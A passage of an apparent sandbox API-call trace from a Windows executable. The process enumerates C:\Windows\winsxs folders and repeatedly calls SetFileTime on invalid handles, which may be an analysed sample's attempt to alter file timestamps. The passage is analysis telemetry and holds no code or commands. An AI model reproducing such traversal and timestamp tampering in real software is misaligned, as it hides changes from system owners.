ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x113c2078, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.829] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.830] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.830] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.830] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.830] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webmintrust_cfg_dflt_b03f5f7f11d50a3a_6.1.7600.16385_none_b3ff7f6b81a93d65\\*.*") returned="*.*" [0165.830] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webmintrust_cfg_dflt_b03f5f7f11d50a3a_6.1.7600.16385_none_b3ff7f6b81a93d65\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webmintrust_cfg_dflt_b03f5f7f11d50a3a_6.1.7600.16385_none_b3ff7f6b81a93d65\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webmintrust_cfg_dflt_b03f5f7f11d50a3a_6.1.7600.16385_none_b3ff7f6b81a93d65\\" [0165.831] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webmintrust_cfg_dflt_b03f5f7f11d50a3a_6.1.7600.16385_none_b3ff7f6b81a93d65\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webmintrust_cfg_dflt_b03f5f7f11d50a3a_6.1.7600.16385_none_b3ff7f6b81a93d65\\") returned="" [0165.831] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.831] CloseHandle (hObject=0xffffffff) returned 0 [0165.831] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_webmintrust_config_b03f5f7f11d50a3a_6.1.7600.16385_none_6f776b90ae50c174") returned -1 [0165.831] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_webmintrust_config_b03f5f7f11d50a3a_6.1.7600.16385_none_6f776b90ae50c174") returned -1 [0165.832] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.832] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webmintrust_config_b03f5f7f11d50a3a_6.1.7600.16385_none_6f776b90ae50c174\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x113c2078, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x113e81d2, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x113e81d2, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.832] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.832] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.833] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.833] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.833] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webmintrust_config_b03f5f7f11d50a3a_6.1.7600.16385_none_6f776b90ae50c174\\*.*") returned="*.*" [0165.833] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webmintrust_config_b03f5f7f11d50a3a_6.1.7600.16385_none_6f776b90ae50c174\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webmintrust_config_b03f5f7f11d50a3a_6.1.7600.16385_none_6f776b90ae50c174\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webmintrust_config_b03f5f7f11d50a3a_6.1.7600.16385_none_6f776b90ae50c174\\" [0165.833] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webmintrust_config_b03f5f7f11d50a3a_6.1.7600.16385_none_6f776b90ae50c174\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webmintrust_config_b03f5f7f11d50a3a_6.1.7600.16385_none_6f776b90ae50c174\\") returned="" [0165.833] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.833] CloseHandle (hObject=0xffffffff) returned 0 [0165.834] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_web_config_b03f5f7f11d50a3a_6.1.7600.16385_none_2af2acecc5b06906") returned -1 [0165.834] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_web_config_b03f5f7f11d50a3a_6.1.7600.16385_none_2af2acecc5b06906") returned -1 [0165.834] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.834] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_web_config_b03f5f7f11d50a3a_6.1.7600.16385_none_2af2acecc5b06906\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112915a8, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x112915a8, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x112915a8, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.837] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.837] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.837] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.837] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.837] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_web_config_b03f5f7f11d50a3a_6.1.7600.16385_none_2af2acecc5b06906\\*.*") returned="*.*" [0165.837] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_web_config_b03f5f7f11d50a3a_6.1.7600.16385_none_2af2acecc5b06906\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_web_config_b03f5f7f11d50a3a_6.1.7600.16385_none_2af2acecc5b06906\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_web_config_b03f5f7f11d50a3a_6.1.7600.16385_none_2af2acecc5b06906\\" [0165.837] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_web_config_b03f5f7f11d50a3a_6.1.7600.16385_none_2af2acecc5b06906\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_web_config_b03f5f7f11d50a3a_6.1.7600.16385_none_2af2acecc5b06906\\") returned="" [0165.838] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.838] CloseHandle (hObject=0xffffffff) returned 0 [0165.838] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.838] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_web_config_b03f5f7f11d50a3a_6.1.7600.16385_none_2af2acecc5b06906\\web.config") returned="web.config" [0165.839] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_web_config_b03f5f7f11d50a3a_6.1.7600.16385_none_2af2acecc5b06906\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_web_config_b03f5f7f11d50a3a_6.1.7600.16385_none_2af2acecc5b06906\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_web_config_b03f5f7f11d50a3a_6.1.7600.16385_none_2af2acecc5b06906\\" [0165.839] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_web_config_b03f5f7f11d50a3a_6.1.7600.16385_none_2af2acecc5b06906\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_web_config_b03f5f7f11d50a3a_6.1.7600.16385_none_2af2acecc5b06906\\") returned="" [0165.839] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.839] CloseHandle (hObject=0xffffffff) returned 0 [0165.839] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.840] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_web_config_b03f5f7f11d50a3a_6.1.7600.16385_none_2af2acecc5b06906\\web.config.comments") returned="web.config.comments" [0165.840] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_web_config_b03f5f7f11d50a3a_6.1.7600.16385_none_2af2acecc5b06906\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_web_config_b03f5f7f11d50a3a_6.1.7600.16385_none_2af2acecc5b06906\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_web_config_b03f5f7f11d50a3a_6.1.7600.16385_none_2af2acecc5b06906\\" [0165.840] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_web_config_b03f5f7f11d50a3a_6.1.7600.16385_none_2af2acecc5b06906\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_web_config_b03f5f7f11d50a3a_6.1.7600.16385_none_2af2acecc5b06906\\") returned="" [0165.840] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.840] CloseHandle (hObject=0xffffffff) returned 0 [0165.842] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_wp_exe_b03f5f7f11d50a3a_6.1.7601.17514_none_5197fbf234706563") returned -1 [0165.842] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_wp_exe_b03f5f7f11d50a3a_6.1.7601.17514_none_5197fbf234706563") returned -1 [0165.842] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.842] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_wp_exe_b03f5f7f11d50a3a_6.1.7601.17514_none_5197fbf234706563\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8923d530, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x89263691, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x89263691, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.843] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.843] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.843] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.843] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.843] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_wp_exe_b03f5f7f11d50a3a_6.1.7601.17514_none_5197fbf234706563\\*.*") returned="*.*" [0165.843] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_wp_exe_b03f5f7f11d50a3a_6.1.7601.17514_none_5197fbf234706563\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_wp_exe_b03f5f7f11d50a3a_6.1.7601.17514_none_5197fbf234706563\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_wp_exe_b03f5f7f11d50a3a_6.1.7601.17514_none_5197fbf234706563\\" [0165.843] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_wp_exe_b03f5f7f11d50a3a_6.1.7601.17514_none_5197fbf234706563\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_wp_exe_b03f5f7f11d50a3a_6.1.7601.17514_none_5197fbf234706563\\") returned="" [0165.844] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.844] CloseHandle (hObject=0xffffffff) returned 0 [0165.844] lstrcmpA (lpString1=".", lpString2="amd64_netfx-assemblylist_xml_b03f5f7f11d50a3a_6.1.7601.17514_none_e3a109eaec8645a9") returned -1 [0165.844] lstrcmpA (lpString1="..", lpString2="amd64_netfx-assemblylist_xml_b03f5f7f11d50a3a_6.1.7601.17514_none_e3a109eaec8645a9") returned -1 [0165.844] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.844] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-assemblylist_xml_b03f5f7f11d50a3a_6.1.7601.17514_none_e3a109eaec8645a9\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c99f54e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9c99f54e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9c99f54e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.845] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.845] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.845] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.845] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.845] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-assemblylist_xml_b03f5f7f11d50a3a_6.1.7601.17514_none_e3a109eaec8645a9\\*.*") returned="*.*" [0165.845] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-assemblylist_xml_b03f5f7f11d50a3a_6.1.7601.17514_none_e3a109eaec8645a9\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-assemblylist_xml_b03f5f7f11d50a3a_6.1.7601.17514_none_e3a109eaec8645a9\\") returned="C:\\Windows\\winsxs\\amd64_netfx-assemblylist_xml_b03f5f7f11d50a3a_6.1.7601.17514_none_e3a109eaec8645a9\\" [0165.846] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-assemblylist_xml_b03f5f7f11d50a3a_6.1.7601.17514_none_e3a109eaec8645a9\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-assemblylist_xml_b03f5f7f11d50a3a_6.1.7601.17514_none_e3a109eaec8645a9\\") returned="" [0165.846] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.846] CloseHandle (hObject=0xffffffff) returned 0 [0165.847] lstrcmpA (lpString1=".", lpString2="amd64_netfx-clrgc_b03f5f7f11d50a3a_6.1.7601.17514_none_ad7a390fa131c970") returned -1 [0165.847] lstrcmpA (lpString1="..", lpString2="amd64_netfx-clrgc_b03f5f7f11d50a3a_6.1.7601.17514_none_ad7a390fa131c970") returned -1 [0165.847] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.847] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-clrgc_b03f5f7f11d50a3a_6.1.7601.17514_none_ad7a390fa131c970\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94d65849, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x94d65849, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94d65849, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.848] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.848] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.848] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.848] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.848] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-clrgc_b03f5f7f11d50a3a_6.1.7601.17514_none_ad7a390fa131c970\\*.*") returned="*.*" [0165.848] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-clrgc_b03f5f7f11d50a3a_6.1.7601.17514_none_ad7a390fa131c970\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-clrgc_b03f5f7f11d50a3a_6.1.7601.17514_none_ad7a390fa131c970\\") returned="C:\\Windows\\winsxs\\amd64_netfx-clrgc_b03f5f7f11d50a3a_6.1.7601.17514_none_ad7a390fa131c970\\" [0165.848] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-clrgc_b03f5f7f11d50a3a_6.1.7601.17514_none_ad7a390fa131c970\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-clrgc_b03f5f7f11d50a3a_6.1.7601.17514_none_ad7a390fa131c970\\") returned="" [0165.849] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.849] CloseHandle (hObject=0xffffffff) returned 0 [0165.849] lstrcmpA (lpString1=".", lpString2="amd64_netfx-clr_ilasm_exe_b03f5f7f11d50a3a_6.1.7601.17514_none_8fbf4b0735f59a32") returned -1 [0165.849] lstrcmpA (lpString1="..", lpString2="amd64_netfx-clr_ilasm_exe_b03f5f7f11d50a3a_6.1.7601.17514_none_8fbf4b0735f59a32") returned -1 [0165.849] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.849] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-clr_ilasm_exe_b03f5f7f11d50a3a_6.1.7601.17514_none_8fbf4b0735f59a32\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa50f9b8f, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x89263691, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x89263691, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.850] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.850] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.850] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.850] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.850] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-clr_ilasm_exe_b03f5f7f11d50a3a_6.1.7601.17514_none_8fbf4b0735f59a32\\*.*") returned="*.*" [0165.850] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-clr_ilasm_exe_b03f5f7f11d50a3a_6.1.7601.17514_none_8fbf4b0735f59a32\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-clr_ilasm_exe_b03f5f7f11d50a3a_6.1.7601.17514_none_8fbf4b0735f59a32\\") returned="C:\\Windows\\winsxs\\amd64_netfx-clr_ilasm_exe_b03f5f7f11d50a3a_6.1.7601.17514_none_8fbf4b0735f59a32\\" [0165.850] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-clr_ilasm_exe_b03f5f7f11d50a3a_6.1.7601.17514_none_8fbf4b0735f59a32\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-clr_ilasm_exe_b03f5f7f11d50a3a_6.1.7601.17514_none_8fbf4b0735f59a32\\") returned="" [0165.851] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.851] CloseHandle (hObject=0xffffffff) returned 0 [0165.851] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.851] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-clr_ilasm_exe_b03f5f7f11d50a3a_6.1.7601.17514_none_8fbf4b0735f59a32\\ilasm.exe") returned="ilasm.exe" [0165.851] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-clr_ilasm_exe_b03f5f7f11d50a3a_6.1.7601.17514_none_8fbf4b0735f59a32\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-clr_ilasm_exe_b03f5f7f11d50a3a_6.1.7601.17514_none_8fbf4b0735f59a32\\") returned="C:\\Windows\\winsxs\\amd64_netfx-clr_ilasm_exe_b03f5f7f11d50a3a_6.1.7601.17514_none_8fbf4b0735f59a32\\" [0165.851] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-clr_ilasm_exe_b03f5f7f11d50a3a_6.1.7601.17514_none_8fbf4b0735f59a32\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-clr_ilasm_exe_b03f5f7f11d50a3a_6.1.7601.17514_none_8fbf4b0735f59a32\\") returned="" [0165.852] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.852] CloseHandle (hObject=0xffffffff) returned 0 [0165.852] lstrcmpA (lpString1=".", lpString2="amd64_netfx-clr_mof_b03f5f7f11d50a3a_6.1.7601.17514_none_da9a73fbf2f874cd") returned -1 [0165.852] lstrcmpA (lpString1="..", lpString2="amd64_netfx-clr_mof_b03f5f7f11d50a3a_6.1.7601.17514_none_da9a73fbf2f874cd") returned -1 [0165.852] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.852] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-clr_mof_b03f5f7f11d50a3a_6.1.7601.17514_none_da9a73fbf2f874cd\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x724f84f8, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0xa203562d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa203562d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.853] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.853] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.853] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.853] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.853] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-clr_mof_b03f5f7f11d50a3a_6.1.7601.17514_none_da9a73fbf2f874cd\\*.*") returned="*.*" [0165.854] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-clr_mof_b03f5f7f11d50a3a_6.1.7601.17514_none_da9a73fbf2f874cd\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-clr_mof_b03f5f7f11d50a3a_6.1.7601.17514_none_da9a73fbf2f874cd\\") returned="C:\\Windows\\winsxs\\amd64_netfx-clr_mof_b03f5f7f11d50a3a_6.1.7601.17514_none_da9a73fbf2f874cd\\" [0165.854] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-clr_mof_b03f5f7f11d50a3a_6.1.7601.17514_none_da9a73fbf2f874cd\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-clr_mof_b03f5f7f11d50a3a_6.1.7601.17514_none_da9a73fbf2f874cd\\") returned="" [0165.854] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.854] CloseHandle (hObject=0xffffffff) returned 0 [0165.854] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.854] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-clr_mof_b03f5f7f11d50a3a_6.1.7601.17514_none_da9a73fbf2f874cd\\CLR.mof") returned="CLR.mof" [0165.855] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-clr_mof_b03f5f7f11d50a3a_6.1.7601.17514_none_da9a73fbf2f874cd\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-clr_mof_b03f5f7f11d50a3a_6.1.7601.17514_none_da9a73fbf2f874cd\\") returned="C:\\Windows\\winsxs\\amd64_netfx-clr_mof_b03f5f7f11d50a3a_6.1.7601.17514_none_da9a73fbf2f874cd\\" [0165.855] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-clr_mof_b03f5f7f11d50a3a_6.1.7601.17514_none_da9a73fbf2f874cd\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-clr_mof_b03f5f7f11d50a3a_6.1.7601.17514_none_da9a73fbf2f874cd\\") returned="" [0165.855] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.855] CloseHandle (hObject=0xffffffff) returned 0 [0165.855] lstrcmpA (lpString1=".", lpString2="amd64_netfx-clr_sys_entservcs_thunk_dll_b03f5f7f11d50a3a_6.1.7600.16385_none_df3a1ffa5faa4434") returned -1 [0165.855] lstrcmpA (lpString1="..", lpString2="amd64_netfx-clr_sys_entservcs_thunk_dll_b03f5f7f11d50a3a_6.1.7600.16385_none_df3a1ffa5faa4434") returned -1 [0165.855] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.856] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-clr_sys_entservcs_thunk_dll_b03f5f7f11d50a3a_6.1.7600.16385_none_df3a1ffa5faa4434\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1140e32c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1140e32c, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1140e32c, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.856] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.856] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.856] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.857] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.857] PathFindFileNameA 